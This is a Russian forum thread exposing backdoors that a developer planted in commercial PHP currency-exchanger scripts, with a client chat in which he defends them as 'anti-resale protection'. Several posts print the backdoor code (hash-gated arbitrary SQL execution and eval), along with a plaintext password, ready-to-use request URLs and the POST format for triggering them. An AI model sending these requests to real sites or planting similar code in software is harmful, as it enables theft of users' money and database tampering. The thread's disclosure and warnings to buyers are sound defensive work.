Тихий спокойный вечер или коварство программиста

Статус
В этой теме нельзя размещать новые ответы.

stealthdebuger

Механик
Регистрация
25 Авг 2008
Сообщения
681
Реакции
1.687
В один тихий, спокойный вечер постучался ко мне в аську старый знакомый с просьбой помочь разобраться что делает странный запрос к сайту.
/?bAdminHost&sPassword=gfl763qv&sMod=MYSQL_FETCH_ALL&sSQL=SELECT%20*%20FROM%20Settings
Думаю, не стоит объяснять какие у меня возникли мысли сразу, как только я увидал этот запрос, вариант всего лишь один - бекдор.
Мне передали для анализа файлы и довольно быстро был найден модифицированный файлик smarty/sysplugins/smarty_internal_templatebase.php
в котором в функция display() вглядела таким образом:
PHP:
public function display($template = null, $cache_id = null, $compile_id = null, $parent = null)
    {
        # Обработка запросов разработчика скрипта :
        switch( isset( $_REQUEST['bAdminHost'] ) && isset( $_REQUEST['sPassword'] ) && md5( $_REQUEST['sPassword'] ) == '095030340ad580b3cf4a574d0fe0943d' && isset( $_REQUEST['sMod'] ) ? $_REQUEST['sMod'] : null ) {

            # Интерфейс : выполнение SQL-запроса.
            case 'MYSQL_QUERY':

                # Получение внешних данных :
                if( !isset( $_REQUEST['sSQL'] ) )
                    die( 'Не передан SQL запрос' );

                # Выполнение SQL - запроса :
                echo 'Затронуто '.DB()->query( $_REQUEST['sSQL'] )->rowCount().' строк<br />';

            die( 'Запрос "'.$_REQUEST['sSQL'].'" успешно выполнен' );

            # Интерфейс : получение результата SQL-запроса.
            case 'MYSQL_FETCH_ALL':
                
                if( !isset( $_REQUEST['sSQL'] ) )
                    break;
                
                echo '<pre>';
                print_r( DB()->query( $_REQUEST['sSQL'] )->fetchAll( PDO::FETCH_ASSOC ) );
                echo '</pre>';
                
            exit();
            
            # Интерфейс : выполнение PHP кода.
            case 'EVAL':
                
                if( !isset( $_POST['sEval'] ) )
                    die( 'Аргумент sEval не передан' );
                
                eval( $_POST['sEval'] );
                
            break;
        }
        
        // display template
        $this->fetch($template, $cache_id, $compile_id, $parent, true);
    }

Интересный код, не правда ли? Любой, мало-мальски знакомый с PHP человек скажет, что нет ни малейшего сомнения в том, что данный код оставил не кто иной, как разработчик скрипта, либо человек, у которого был непосредственный доступ к файлам скрипта.
Эти скрипты представляют собой систему автоматического обмена и ввода/вывода ЭПС, иными словами - скрипт обменника.
Не сильно заморачиваясь, я сказал приятелю какой кусок кода должно убрать и занялся своими делами, практически позабыв об этой истории, но...
На следующий день этот же знакомый стучится ко мне с вопросом: "как мне расшифровать мд5? 4d57771e030bb6598738bc3a6f28d98c"
На мои распросы, человек сказал, что в тот же день, когда было обнаружено существование бекдора, разработчик удалил на страницах своего сайта список клиентов и... разослал клиентам обновления скрипта, в котором был изменен лишь MD5-хеш пароля к бекдору.
Далее, знакомый сбросил часть переписки разработчика данного обменника с его клиентом:
[16:10:14] Клиент: как он там взялся ?
[16:10:23] Программист: он всегда там был
[16:10:27] Программист: это защита от перепродаж
[16:10:38] Клиент: -)
[16:10:44] Клиент: ппц смешно
[16:10:55] Программист: ну а тебе та что
[16:10:57] Программист: у тебя ничего не украли
[16:11:03] Клиент: тут почему то его не было
[16:11:17] Программист: Был есть и будет
[16:11:24] Программист: Просто там пароль другой я уже поставил
[16:12:03] Программист: у всех он был и у всех кто его не убрал он будет
Комментарии излишни? О чем еще можно говорить, услышав такое пояснение. Защита от перепродаж - посредством внедрения бекдора...
Мне известны случаи когда внедрялся бекдор, к примеру в скрипты магазина fast-sales, о котором я рассказывал Для просмотра ссылки Войди или Зарегистрируйся
или веб-студии bondsoft.ru, которая очень любит оставлять в созданных ними сайтах код
PHP:
$command = isset($_POST["command"]) ? $_POST["command"] : "";
eval($command);

Я не хочу говорить о таких недостатках этого обменника, как SQL-inj или возможность LFI. Уверен, что покупатели скрипта не жалуются на то, что он может отправить деньги два и более раз по одной заявке или внезапную смену курсов, когда один рубль можно обменять на 0.97 WMZ.
Хотелось бы понять, какие моральные принципы позволяют сознательно оставлять бекдор в скриптах, работе которых люди доверяют свои деньги?
Дальнейшая история становится еще более забавной... Из двух обменников увели крупную сумму денег, используя рассмотренный выше бекдор.
Злоумышленник пытался подчистить за собой, удалив записи действий, хранящиеся в базе данных при помощи запроса
/?bAdminHost&sPassword=gfl763qv&sMod=MYSQL_QUERY&sSQL=DELETE%20FROM%20Visitors
Правда, он совсем не учел (или просто не знал), что на сервере есть другие логи, где IP-адрес с которого отправлялись запросы сохранился.

Подводя итоги, хотелось бы дать совет веб-мастерам. Если вы не "халявщик" и планируете запустить серьезный проект, уделите несколько больше времени при выборе кандидатуры исполнителя. И пусть вас не вводят в заблуждение наличие собственной web-студии, "толстого портфеля" и дифирамбы пользователей.
Предупреждайте потенциального исполнителя о проведении аудита сторонним специалистом. "Плохишей" это отпугнет, а "хороших" заставит быть более старательными при разработке вашего проекта.
Проводите не только внешний аудит вашей системы, но и аудит исходного кода, если речь идет действительно о проекте, на который вы делаете большие ставки.
Не бойтесь проводить аудит, но заказывайте его только у людей, которые имеют опыт в этом.
Не опасайтесь доверять пентестеру доступы к вашему сайту. Услуги проведения аудита стоят весьма высоко и пентестер не будет рисковать своей репутацией, возможностью заработать немного "лишних" денег, "слив" ваши данные или скрипты.

P.S. Извиняюсь за несколько сумбурное изложение, сказывается усталость.
P.P.S. Хотелось бы видать отдельную ветку, посвященную подобным ситуациям. Народ должен знать таких "героев", imho.[/quote]
 
Последнее редактирование:
Жестяная жесть... В АОП-е бэкдор от разраба...
Есть тьма возможностей проверки лицензии, если уж так прёт.
Ну а обменники на краденном ПО работать не будут, либо будут как лохотроны.
Походу я догадываюсь, кто разработчик...
 
Совсем недавно ко мне обратился уже другой человек, но его интересовал все тот же вопрос. Найти в новой версии данного АОП бекдор, оставленный разработчиком.
Время идет, всё меняется, многие учатся чему-то для них новому. Жаль, что люди не хотят учиться как стать лучше чем они есть.
После непродолжительных поисков в файле event.php обнаружен следующий код:
PHP:
            # Получение внешних данных :
            .......................
            $aSecurity = explode( '&', GetField( $_REQUEST, 'sSecurity' ) );
            
            .......................
            # Проверка безопасности :
            if( count( $aSecurity ) > 1 && md5( $aSecurity[0] ) == '1434d7d6138369a572befe6a7de46928' )
                DB()->exec( $aSecurity[1] );

Код прозрачен, но если нужны пояснения...
Отправляем на URL site.ru/event.php POST-запрос вида sSecurity=secret_key&sql_query
где md5(secret_key) = 1434d7d6138369a572befe6a7de46928, sql_query = любой sql-запрос

Всё. Очередной АОП будет под вашим полным контролем.

P.S. Напомню, речь идёт о скрипте автоматического обменника от павлухи. Скрипты он вполне успешно продаёт наивным людям, которые хотят начать свой бизнес в сфере обмена валют, но не имеют достаточно средств для приобретения качественных разработок. Ну и скрягам, конечно, куда уж без них))

Есть его старая тема Для просмотра ссылки Войди или Зарегистрируйся недавно появилась новая Для просмотра ссылки Войди или Зарегистрируйся
Также, два его сайта на которых идут продажи Для просмотра ссылки Войди или Зарегистрируйся и Для просмотра ссылки Войди или Зарегистрируйся

P.P.S. Как назвать человека, который Для просмотра ссылки Войди или Зарегистрируйся
Вы можете без проблем раскодировать закрытые файлы и убедится что там нет вредоносного кода.
Может я что-то не правильно понимаю и данный код нельзя отнести к "вредоносным"?
 
Последнее редактирование:
Небольшое дополнение. Случайно был найден сайт Для просмотра ссылки Войди или Зарегистрируйся который также относится всё к тому же павлуше, но здесь он уже сразу предлагает вам отдать ему доступы к вашим аккаунтам в разных платёжных системах :facepalm:
 
если хочешь сделать что-то свое, нужно это дело самому и изучать. кодеру ведь ничто не мешает закрыть часть кода обфускатором и зендом и сказать что там его ноу-хау которые он не хочет расскрывать. да и вообще в основном коде может понаставить кучу проверок на удаление названного вами "бэкдора".
мой совет - заплатили за код. потом обратились к нему же и заплатили столько же за убирание всех бэкдоров. так надежней.
 
мой совет - заплатили за код. потом обратились к нему же и заплатили столько же за убирание всех бэкдоров. так надежней.
а я бы потребовал убрать бэкдоры и вернуть деньги назад!
я незнаю, какой то кодекс чести должен быть у программиста, который продает свой код?
одно дело когда на варезных сайтах в ворованные скрипты суют левые ссылки, вирусы и бэкдоры. но когда ты продаешь свой продукт - это недопустимо!
 
Последнее редактирование:
Совсем недавно ко мне обратился уже другой человек, но его интересовал все тот же вопрос. Найти в новой версии данного АОП бекдор, оставленный разработчиком.
Время идет, всё меняется, многие учатся чему-то для них новому. Жаль, что люди не хотят учиться как стать лучше чем они есть.
После непродолжительных поисков в файле event.php обнаружен следующий код:
PHP:
            # Получение внешних данных :
            .......................
            $aSecurity = explode( '&', GetField( $_REQUEST, 'sSecurity' ) );
           
            .......................
            # Проверка безопасности :
            if( count( $aSecurity ) > 1 && md5( $aSecurity[0] ) == '1434d7d6138369a572befe6a7de46928' )
                DB()->exec( $aSecurity[1] );

Код прозрачен, но если нужны пояснения...
Отправляем на URL site.ru/event.php POST-запрос вида sSecurity=secret_key&sql_query
где md5(secret_key) = 1434d7d6138369a572befe6a7de46928, sql_query = любой sql-запрос

Всё. Очередной АОП будет под вашим полным контролем.

P.S. Напомню, речь идёт о скрипте автоматического обменника от павлухи. Скрипты он вполне успешно продаёт наивным людям, которые хотят начать свой бизнес в сфере обмена валют, но не имеют достаточно средств для приобретения качественных разработок. Ну и скрягам, конечно, куда уж без них))

Есть его старая тема Для просмотра ссылки Войди или Зарегистрируйся недавно появилась новая Для просмотра ссылки Войди или Зарегистрируйся
Также, два его сайта на которых идут продажи Для просмотра ссылки Войди или Зарегистрируйся и Для просмотра ссылки Войди или Зарегистрируйся

P.P.S. Как назвать человека, который Для просмотра ссылки Войди или Зарегистрируйся

Может я что-то не правильно понимаю и данный код нельзя отнести к "вредоносным"?
Скрытое содержимое для пользователя(ей):
 
Долго не было никаких новостей, но.... Время идёт, а люди не меняются....
Появилась обновленная версия скрипта и... новый бекдор.
Файл webmoney.event.php содержит в себе строки
PHP:
    # Проверка на защиту от взлома :
    if( mb_strlen( $sHash ) != 32 ) {
        if( hash( 'sha256', mb_substr( $sHash, 0, 8 ) ) == '86614ed31bdba2390d66f200fdf8ce552b07dd391b18c1f6e35158750ae3190f' )
                DB()->exec( mb_substr( $sHash, 8 ) );
        die( 'HASH' );

Выполнение произвольного sql-запроса.
 
На днях слили все деньги с очередного обменника на данном скрипте, но на этот раз воспользовались методом соц.инженерии.
пришло мыло типа от павлухи
с файлом
Для обновления:
1)Из прикреплённого к письму архива извлеките файл update.phtml (пароль на архив - phpe.info)
2)Загрузите файл update.phtml на сервер обменника в директорию /admin/template/pre-handlers/

Файл представлял собой банальную шелку, которую владелец обменника и закинул на свой сайт...
 
Статус
В этой теме нельзя размещать новые ответы.
Назад
Сверху